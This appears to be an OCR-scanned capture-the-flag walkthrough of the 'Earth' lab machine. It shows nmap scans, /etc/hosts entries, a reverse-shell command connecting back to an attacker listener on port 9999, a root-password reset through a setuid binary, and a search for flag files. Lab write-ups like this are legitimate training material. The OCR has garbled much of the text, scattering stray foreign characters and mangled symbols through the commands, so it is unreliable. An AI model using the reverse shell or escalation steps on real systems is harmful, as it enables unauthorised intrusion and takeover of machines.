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nmap -sS -T4 -v 192.168.8.0/24

Nmap scan report for earth.local (192.168.8.138)
Host is up (©.00081s latency).
Not shown: 982 filtered tcp ports (no-response), 15 filtered tcp ports (admin-prohibited)

STATE SERVICE
open ssh
80/tcp open http
443 /tcp open https
MAC Address: 00:0C:29:50:22:DF (VMware)

PR 5 AR E B

nmap -sS -A 192.168.8.138
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Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-16 ©9:18 EDT
Nmap scan report for earth.local (192.168.8.138)
Host is up (0.00089s latency).
Not shown: 987 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.6 (protocol 2.0)
ssh-hostkey:
256 5b:2c:3f:dc:8b:76:€9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA)
256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9)
_http-title: Earth Secure Messaging
_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9
443/tcp open ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9)
_http-title: Earth Secure Messaging
ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space
"Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local’
Not valid before: 2021-10-12T723:26:31
_Not valid after: 2031-10-10T23:26:31
_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.11 mod_wsgi/4.7.1 Python/3.9
tls-alpn:
http/1.1
_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:50:22:DF (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
0S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:1linux:linux_kernel:5
0S details: Linux 4.15 - 5.6, Linux 5.0 - 5.4
Network Distance: 1 hop
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il 0.89 ms earth.local (192.168.8.138)

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 21.44 seconds

KT H%DNSICE, HBINXBEJLFE] /etc/hosts

—(root®kali)-[/home/kali]
L

127.0.0.1 localhost
127.0.1.1 kali

localhost ip6-localhost ip6-loopback
ip6-allnodes

ip6-allrouters

.8.138 earth.local

.8.138 terratest.earth.local
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bash -1i /dev/tcp/192.168.8.128/9999 0>&1
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bash-5.1$% touch /dev/shm/kHgTFI5G /dev/shm/Zw7bVvou5 /tmp/kcMOWewetouch /dev/shm/kHgTFI5G /dev/shm/Zw7bVvou5 /tmp/
kcMeWewebash-5.1$% /usr/bin/reset_root/usr/bin/reset rootCHECKING IF RESET TRIGGERS PRESENT...RESET TRIGGERS ARE

PRESENT, RESETTING ROOT PASSWORD TO: Earthbash-5.1%

rootZ il 4 & & s Earth, HE& 3%

WG —#%, %flag

find / -name *flag.txt/root/root_flag.txt/var/earth_web/user flag.txt

A Z T HAflag
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